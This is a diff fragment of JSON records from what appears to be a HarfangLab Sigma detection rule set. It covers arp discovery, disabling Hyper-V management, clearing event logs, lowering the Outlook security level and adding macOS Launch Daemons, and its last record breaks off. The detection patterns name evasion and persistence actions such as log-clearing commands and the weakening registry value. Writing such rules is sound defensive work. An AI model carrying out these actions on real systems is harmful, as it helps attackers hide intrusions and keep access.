+  "content": "title: Arp Execution (Windows)\nid: 43289013-d5b5-48ec-bcd4-77826f38f079\ndescription: |\n    Detects the execution of arp.exe.\n    Arp.exe is a legitimate Microsoft binary that can be used by attackers during the discovery phase to gather detailed information about a system's Address Resolution Protocol (ARP) tables.\n    It is recommended to analyze the process responsible for the execution of arp.exe to look for malicious content or actions.\nreferences:\n    - https://thedfirreport.com/2022/09/26/bumblebee-round-two/\n    - https://www.intrinsec.com/alphv-ransomware-gang-analysis/\n    - https://attack.mitre.org/techniques/T1016/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2021/05/26\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016\n    - attack.t1018\n    - attack.s0099\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\arp.exe'\n        # Renamed binaries\n        - OriginalFileName: 'arp.exe'\n    exclusion_commandline:\n        CommandLine|contains:\n            # Used to edit the table records.\n            - '-s'\n            - '-d'\n    exclusion_explorer:\n        ParentImage: '?:\\Windows\\System32\\cmd.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_parentimage:\n        ParentImage:\n            - '?:\\WindowsAzure\\Packages\\Telemetry\\WindowsAzureTelemetryService.exe'\n            - '?:\\WindowsAzure\\Packages\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\Packages_*\\Telemetry\\WindowsAzureTelemetryService.exe'\n            - '?:\\WindowsAzure\\Packages_*\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\Packages_*\\WaAppAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\WaAppAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\Packages\\WaAppAgent.exe'\n            - '?:\\Windows\\Lenovo\\ImController\\PluginHost86\\Lenovo.Modern.ImController.PluginHost.CompanionApp.exe'\n            - '?:\\ProgramData\\CentraStage\\AEMAgent\\AEMAgent.exe'\n            - '*\\SolarWinds\\SolarWinds.BusinessLayerHost.exe'\n\n    exclusion_atera:\n        # C:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageSystemTools\n        CurrentDirectory: '?:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageSystemTools'\n        # powershell.exe -File C:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageSystemTools\\cde53007-46c2-51a0-8c64-f8da2d10c3d6_IPScan.ps1\n        # powershell.exe -File C:\\Windows\\TEMP\\08886e14-da1c-43e3-b4a9-b782f11e8d18_IPScan.ps1\n        ParentCommandLine|contains:\n            - '?:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageSystemTools\\'\n            - '_IPScan.ps1'\n\n    exclusion_azure_networkwatcher:\n        ParentCommandLine: '?:\\Windows\\System32\\cmd.exe /c arp -a >> config\\Neighbors.txt'\n        GrandparentCommandLine: '?:\\Windows\\system32\\cscript.exe ?:\\Windows\\system32\\gatherNetworkInfo.vbs'\n\n    exclusion_inssider:\n        ParentImage: '?:\\Users\\\\*\\AppData\\Local\\inSSIDer\\app-?.?.?\\inSSIDer.exe'\n\n    exclusion_nessus:\n        GrandparentImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n        ParentCommandLine: '?:\\Windows\\System32\\cmd.exe /c ?:\\Windows\\System32\\arp.exe -a > ?:\\Windows\\temp\\nessus_????????.txt'\n\n    exclusion_netbackup:\n        ProcessParentImage|endswith: '\\bpcd.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature|contains: 'Veritas Technologies LLC'\n\n    exclusion_lansweeper:\n        ProcessParentImage|endswith: '\\LansweeperService.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature|contains: 'Lansweeper NV'\n\n    exclusion_netgear:\n        ProcessGrandparentImage|endswith: '\\Engage.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature|contains: 'Netgear Inc'\n\n    exclusion_ninjarmm:\n        ProcessAncestors|contains: '|?:\\Program Files (x86)\\\\*\\NinjaRMMAgent.exe|'\n\n    exclusion_espcli:\n        ProcessParentCommandLine: '?:\\Windows\\system32\\cmd.exe /c arp -a *>adrmac.txt'\n        ProcessGrandparentCommandLine: '.\\espcli_parc'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "43289013-d5b5-48ec-bcd4-77826f38f079",
+  "rule_name": "Arp Execution (Windows)",
+  "rule_description": "Detects the execution of arp.exe.\nArp.exe is a legitimate Microsoft binary that can be used by attackers during the discovery phase to gather detailed information about a system's Address Resolution Protocol (ARP) tables.\nIt is recommended to analyze the process responsible for the execution of arp.exe to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-05-26",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016",
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4332ec13-a2db-40c4-8915-d22355e770f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626126Z",
+  "creation_date": "2026-03-23T11:45:34.626128Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626132Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitdefender.com/en-us/blog/businessinsights/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines",
+    "https://attack.mitre.org/techniques/T1564/006/"
+  ],
+  "name": "t1564_006_disable_hyperv_managmement.yml",
+  "content": "title: Windows Hyper-V Management Disabled\nid: 4332ec13-a2db-40c4-8915-d22355e770f0\ndescription: |\n    Detects the deactivation of Windows Hyper-V management tools feature.\n    This command disable the Hyper-V management tools feature on Windows without restarting the system.\n    Attackers may disable the Microsoft-Hyper-V-Management-Clients feature to remove local management visibility, allowing them to run hidden virtual machines that evade host-based detection and operate more stealthily.\n    It is recommended to investigate the parent process to determine if this action was legitimate.\nreferences:\n    - https://www.bitdefender.com/en-us/blog/businessinsights/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines\n    - https://attack.mitre.org/techniques/T1564/006/\ndate: 2025/11/12\nmodified: 2025/12/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\Dism.exe'\n        - OriginalFileName: 'DISM.EXE'\n\n    selection_command:\n        CommandLine|contains|all:\n            - ' ?online'\n            - ' ?disable-feature'\n            - ' ?microsoft-hyper-v-Management-clients'\n            - ' ?norestart '\n\n    exclusion_ldplayer:\n        - ProcessParentImage: '?:\\LDPlayer\\LDPlayer9\\dnrepairer.exe'\n        - ProcessParentOriginalFileName: 'repairer.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'Shanghai Baizhi Network Technology Co., Ltd.'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4332ec13-a2db-40c4-8915-d22355e770f0",
+  "rule_name": "Windows Hyper-V Management Disabled",
+  "rule_description": "Detects the deactivation of Windows Hyper-V management tools feature.\nThis command disable the Hyper-V management tools feature on Windows without restarting the system.\nAttackers may disable the Microsoft-Hyper-V-Management-Clients feature to remove local management visibility, allowing them to run hidden virtual machines that evade host-based detection and operate more stealthily.\nIt is recommended to investigate the parent process to determine if this action was legitimate.\n",
+  "rule_creation_date": "2025-11-12",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "43a740ac-2e54-4653-84a7-349b469a0a35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627609Z",
+  "creation_date": "2026-03-23T11:45:34.627611Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627615Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1070/001/"
+  ],
+  "name": "t1070_001_clear_windows_application_log.yml",
+  "content": "title: Windows Application Log Cleared\nid: 43a740ac-2e54-4653-84a7-349b469a0a35\ndescription: |\n    Detects when one of the Windows application logs is cleared.\n    Windows Event Logs are a record of a computer's alerts and notifications.\n    Adversaries may clear Windows Event Logs to hide the activity of an intrusion.\n    It is recommended to investigate the process responsible for this action as well as to look for suspicious activities on the host preceding the clearing of the logs.\nreferences:\n    - https://attack.mitre.org/techniques/T1070/001/\ndate: 2021/04/27\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 104\n        Source: Microsoft-Windows-Eventlog\n        ProcessImage|contains: '?'\n\n    # This is handled by the rule 5cf9b4f6-6f3b-4d0b-a178-9570cce9693d\n    filter_wevtutil_1:\n        - ProcessImage|endswith: '\\wevtutil.exe'\n        - ProcessOriginalFileName: 'wevtutil.exe'\n\n    filter_wevtutil_2:\n        ProcessCommandLine|contains:\n            - ' clear-log '\n            - ' cl '\n\n    filter_ps_1:\n        - ProcessImage|endswith: '\\powershell.exe'\n        - ProcessOriginalFileName: 'PowerShell.EXE'\n\n    filter_ps_2:\n        - ProcessCommandLine|contains:\n            - ' Clear-EventLog '\n            - ' Remove-EventLog '\n\n    filter_wmic_1:\n        - ProcessImage|endswith: '\\wmic.exe'\n        - ProcessOriginalFileName: 'wmic.exe'\n\n    filter_wmic_2:\n        ProcessCommandLine|contains: ' ClearEventLog'\n\n    exclusion_channel:\n        Channel:\n            - 'ModemAuthenticatorLog'\n            - 'Microsoft-Exchange-ManagedAvailability/ThrottlingConfig'\n\n    exclusion_image:\n        - ProcessImage:\n            - '?:\\Program Files\\CCleaner\\CCleaner64.exe'\n            - '?:\\Windows\\System32\\Sysprep\\sysprep.exe'\n            - '?:\\Program Files (x86)\\Hewlett-Packard\\HP Touchpoint Manager\\Tools\\tainstaller.exe'\n            - '?:\\Program Files (x86)\\HP\\HP Touchpoint Analytics Client Installer\\TAInstaller.exe'\n            - '?:\\Program Files (x86)\\HP\\HP Touchpoint Analytics Client\\TouchpointAnalyticsClientService.exe'\n            - '?:\\Program Files (x86)\\HP\\HP Touchpoint Analytics Client\\TouchpointGpuInfo.exe'\n            - '?:\\Program Files (x86)\\Panda Security\\WAC\\PSANCU.exe'\n            - '?:\\Windows\\System32\\mmc.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Program Files (x86)\\Glary Utilities\\TracksEraser.exe'\n        - ProcessParentImage:\n            - '?:\\Program Files\\CCleaner\\CCleaner64.exe'\n            - '?:\\Program Files (x86)\\Citrix\\Workspace Environment Management Agent\\Citrix.Wem.Agent.Service.exe'\n        - ProcessGrandparentImage:\n            - '?:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageSystemTools\\AgentPackageSystemTools.exe'\n            - '?:\\MININT\\Tools\\X64\\TsManager.exe'\n            - '?:\\Program Files (x86)\\Lenovo\\LenovoWelcome\\x86\\LenovoWelcomeTask.exe'\n            - '*\\CLEANMGR+\\Cleanmgr+.exe'\n            - '*\\CLEANMGR+\\cleanmgrplus\\Cleanmgr+.exe'\n            - '*\\Cleanmgr+ v*\\Cleanmgr+.exe'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '\\PrivaZer\\PrivaZer v*.exe|'\n            - '?:\\Program Files (x86)\\F-Secure\\Client Security\\UltralightInstaller\\ul_*.exe'\n            - '?:\\Program Files (x86)\\Panda Security\\Panda Aether Agent\\AgentSvc.exe'\n\n    exclusion_dism:\n        ProcessImage|endswith: '\\Dism++x64.exe'\n        ProcessOriginalFileName: 'Dism++.exe'\n\n    exclusion_ccm:\n        - ProcessCommandLine|contains: '?:\\WINDOWS\\CCM\\SystemTemp\\\\????????-????-????-????-????????????.ps1'\n        - ProcessGrandparentImage: '?:\\Windows\\CCM\\TSManager.exe'\n\n    exclusion_bis:\n        ProcessGrandparentCommandLine:\n            - '?:\\Windows\\System32\\cmd.exe /C ?:\\Program Files (x86)\\Base Image Script Framework (BIS-F)\\PrepareBaseImage.cmd'\n            - 'Powershell.exe -WindowStyle Maximize -file ?:\\Program Files (x86)\\Base Image Script Framework (BIS-F)\\framework\\PrepBISF_Start.ps1'\n\n    exclusion_lenovo:\n        - ProcessParentImage: '?:\\ProgramData\\Lenovo\\LenovoNow\\Downloads\\LenovoNow.Updater.exe'\n        - ProcessAncestors|contains: '?:\\Program Files (x86)\\Lenovo\\LenovoNow\\unins???.exe'\n\n    exclusion_ccleaner:\n        - ProcessOriginalFileName: 'ccleaner.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Piriform Ltd'\n        - ProcessDescription: 'CCleaner Service'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Gen Digital Inc.'\n\n    condition: selection and not ((all of filter_wevtutil_*) or (all of filter_ps_*) or (all of filter_wmic_*)) and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "43a740ac-2e54-4653-84a7-349b469a0a35",
+  "rule_name": "Windows Application Log Cleared",
+  "rule_description": "Detects when one of the Windows application logs is cleared.\nWindows Event Logs are a record of a computer's alerts and notifications.\nAdversaries may clear Windows Event Logs to hide the activity of an intrusion.\nIt is recommended to investigate the process responsible for this action as well as to look for suspicious activities on the host preceding the clearing of the logs.\n",
+  "rule_creation_date": "2021-04-27",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "43ab3f91-4b1e-4b6c-b17b-6c7c6048fc09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626772Z",
+  "creation_date": "2026-03-23T11:45:34.626774Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626778Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/malmoeb/status/1578678728242081792",
+    "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/",
+    "https://attack.mitre.org/techniques/T1137/"
+  ],
+  "name": "t1137_outlook_security_allowing_startup_persistence.yml",
+  "content": "title: Outlook Security Level Lowered allowing Startup Persistence\nid: 43ab3f91-4b1e-4b6c-b17b-6c7c6048fc09\ndescription: |\n    Detects modification of the Outlook application security level.\n    If this level is lowered to 1, it opens the path to a low privileged persistence mechanism through Outlook VBA startup scripts.\n    It is recommended to determine if this is a wanted action by the system administrator or third party software, if so, it is recommended to whitelist the product or script responsible for the action.\n    If it is part of a persistence attempt, it is recommended to isolate the machine and revert the configuration change.\nreferences:\n    - https://twitter.com/malmoeb/status/1578678728242081792\n    - https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/\n    - https://attack.mitre.org/techniques/T1137/\ndate: 2022/10/10\nmodified: 2026/02/03\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1137\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\S*\\SOFTWARE\\Microsoft\\Office\\\\*\\Outlook\\Security\\Level'\n        Details: 'DWORD (0x00000001)'\n\n    exclusion_ivanti:\n        ProcessImage: '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pwrgrid.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ivanti, Inc.'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n\n    exclusion_loadstate:\n        ProcessOriginalFileName: 'LoadState.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_office:\n        ProcessOriginalFileName:\n            - 'Outlook.exe'\n            - 'WinWord.exe'\n            - 'MSACCESS.EXE'\n            - 'Excel.exe'\n            - 'POWERPNT.EXE'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "43ab3f91-4b1e-4b6c-b17b-6c7c6048fc09",
+  "rule_name": "Outlook Security Level Lowered allowing Startup Persistence",
+  "rule_description": "Detects modification of the Outlook application security level.\nIf this level is lowered to 1, it opens the path to a low privileged persistence mechanism through Outlook VBA startup scripts.\nIt is recommended to determine if this is a wanted action by the system administrator or third party software, if so, it is recommended to whitelist the product or script responsible for the action.\nIf it is part of a persistence attempt, it is recommended to isolate the machine and revert the configuration change.\n",
+  "rule_creation_date": "2022-10-10",
+  "rule_modified_date": "2026-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1137"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "43dcad9d-1139-4d66-a5ee-93fb0336f1f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294868Z",
+  "creation_date": "2026-03-23T11:45:35.294892Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294899Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/004/",
+    "https://attack.mitre.org/techniques/T1152/"
+  ],
+  "name": "t1543_004_new_daemon_file.yml",
+  "content": "title: New Launch Daemon Added via Filesystem\nid: 43dcad9d-1139-4d66-a5ee-93fb0336f1f9\ndescription: |\n    Detects a new Launch Daemon file being created.\n    An attacker may create or modify Launch Daemons to execute malicious payloads as a way to establish persistent access.\n    Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.\n    Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction.\n    It is recommended to investigate the newly created Launch Daemon for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/004/\n    - https://attack.mitre.org/techniques/T1152/\ndate: 2023/07/11\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543.004\n    - attack.t1152\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image:\n            - '/bin/mv'\n            - '/bin/cp'\n            - '/usr/bin/rsync'\n        CommandLine|contains:\n            - ' /Library/LaunchDaemons/'\n            # Also catch /Users/<name>/Library/LaunchAgents\n            - ' /Library/LaunchAgents/'\n\n    # This is handled by the rule a1ed8019-9b29-4699-9c30-056751959bd0\n    filter_invisible_file:\n        CommandLine|contains:\n            - ' /Library/LaunchDaemons/.'\n            - ' /Library/LaunchAgents/.'\n\n    exclusion_jamf:\n        ParentImage: '/Library/Application Support/JAMF/Remote Assist/jamfRemoteAssistLauncher'\n\n    exclusion_glpi:\n        CommandLine: 'cp -f org.glpi-project.glpi-agent.plist /library/launchdaemons/org.glpi-project.glpi-agent.plist'\n        ParentCommandLine: 'sudo cp -f org.glpi-project.glpi-agent.plist /library/launchdaemons/org.glpi-project.glpi-agent.plist'\n\n    exclusion_eset:\n        CommandLine|startswith:\n            - 'cp -f /Library/Application Support/ESET/Security/var/updated/plists/'\n            - 'mv -f /Library/LaunchDaemons/*.plist /Library/Application Support/ESET/Security/var/updated/plists/*.plist'\n            - 'mv -f /Library/LaunchAgents/*.plist /Library/Application Support/ESET/Security/var/updated/plists/*.plist'\n\n    exclusion_microsoft:\n        CommandLine:\n            - '/bin/cp /library/application support/microsoft/mau2.0/microsoft autoupdate.app/contents/library/launchagents/com.microsoft.update.agent.plist /library/launchagents/'\n            - '/bin/cp /library/application support/microsoft/mau2.0/microsoft autoupdate.app/contents/library/launchdaemons/com.microsoft.autoupdate.helper.plist /library/launchdaemons/'\n\n    exclusion_zoom:\n        CommandLine: 'cp -f us.zoom.zoomdaemon.plist /library/launchdaemons/us.zoom.zoomdaemon.plist'\n\n    exclusion_installer:\n        - ParentCommandLine|contains: ' /tmp/PKInstallSandbox.??????/'\n        - GrandparentCommandLine|contains: ' /tmp/PKInstallSandbox.??????'\n\n    exclusion_packagekit:\n        GrandparentCommandLine: '/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service'\n\n    exclusion_paceap:\n        GrandparentCommandLine: '/Library/PrivilegedHelperTools/licenseDaemon.app/Contents/MacOS/licenseDaemon --backurl https://activation.paceap.com/InitiateActivation'\n\n    exclusion_pearcleaner:\n        GrandparentImage: '/Applications/Pearcleaner.app/Contents/MacOS/PearcleanerHelper'\n\n    exclusion_trendmicro:\n        ParentCommandLine: 'cp /Library/Application Support/com.trendmicro.endpointbasecamp/modules/ceta/CETAgent.app/Contents/Resources/com.trendmicro.cetagent.plist /Library/LaunchDaemons/com.trendmicro.cetagent.plist'\n\n    exclusion_ea:\n        GrandparentImage: '/Applications/EA app.app/Contents/Applications/EALaunchHelper.app/Contents/MacOS/EALaunchHelper'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "43dcad9d-1139-4d66-a5ee-93fb0336f1f9",
+  "rule_name": "New Launch Daemon Added via Filesystem",
+  "rule_description": "Detects a new Launch Daemon file being created.\nAn attacker may create or modify Launch Daemons to execute malicious payloads as a way to establish persistent access.\nLaunch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.\nLaunch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction.\nIt is recommended to investigate the newly created Launch Daemon for malicious content.\n",
+  "rule_creation_date": "2023-07-11",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1152",
+    "attack.t1543.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "43dff950-782f-403b-8b2b-8a2d3025027b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083717Z",
+  "creation_date": "2026-03-23T11:45:34.083719Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083723Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/2382d7530cf0cf2aa4ac63be30c98ca3fcdd6bbf/modules/post/windows/manage/hashcarve.rb",
+    "https://attack.mitre.org/techniques/T1078/"
+  ],
+  "name": "t1003_004_metasploit_hashcarve.yml",
